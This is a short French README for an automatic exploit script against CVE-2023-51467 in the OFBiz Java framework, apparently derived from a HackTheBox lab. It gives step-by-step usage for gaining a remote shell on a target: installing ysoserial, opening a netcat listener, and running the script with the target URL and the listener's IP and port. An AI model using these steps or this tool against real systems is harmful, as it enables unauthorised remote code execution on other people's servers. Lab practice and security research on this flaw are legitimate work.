BadBizness

Script d'exploitation automatique pour le framework web Java OF Biz sous CVE-2023-51467. Inspiré de la machine HackTheBox Bizness.

Utilisation et exemple

Ce script nécessite l'outil ysoserial et OpenJDK version 11. Consultez le menu d'utilisation pour l'installation.

Configurez un listener pour capturer le shell avec la méthode de votre choix. Voici un exemple avec netcat :

nc -nlvp 1337

Exécutez le script :

python3 badbizness.py [chemin vers ysoserial-all.jar] [URL DE BASE CIBLE] [IP DU LISTENER] [PORT DU LISTENER]

python3 badbizness.py /home/twopoint/ysoserial-all.jar http://example.com:1337 10.10.10.10. 1337

Avertissement et crédits

Cet outil a été conçu comme un moyen d'en apprendre davantage sur Python. Je remercie script pour m'avoir aidé en profondeur.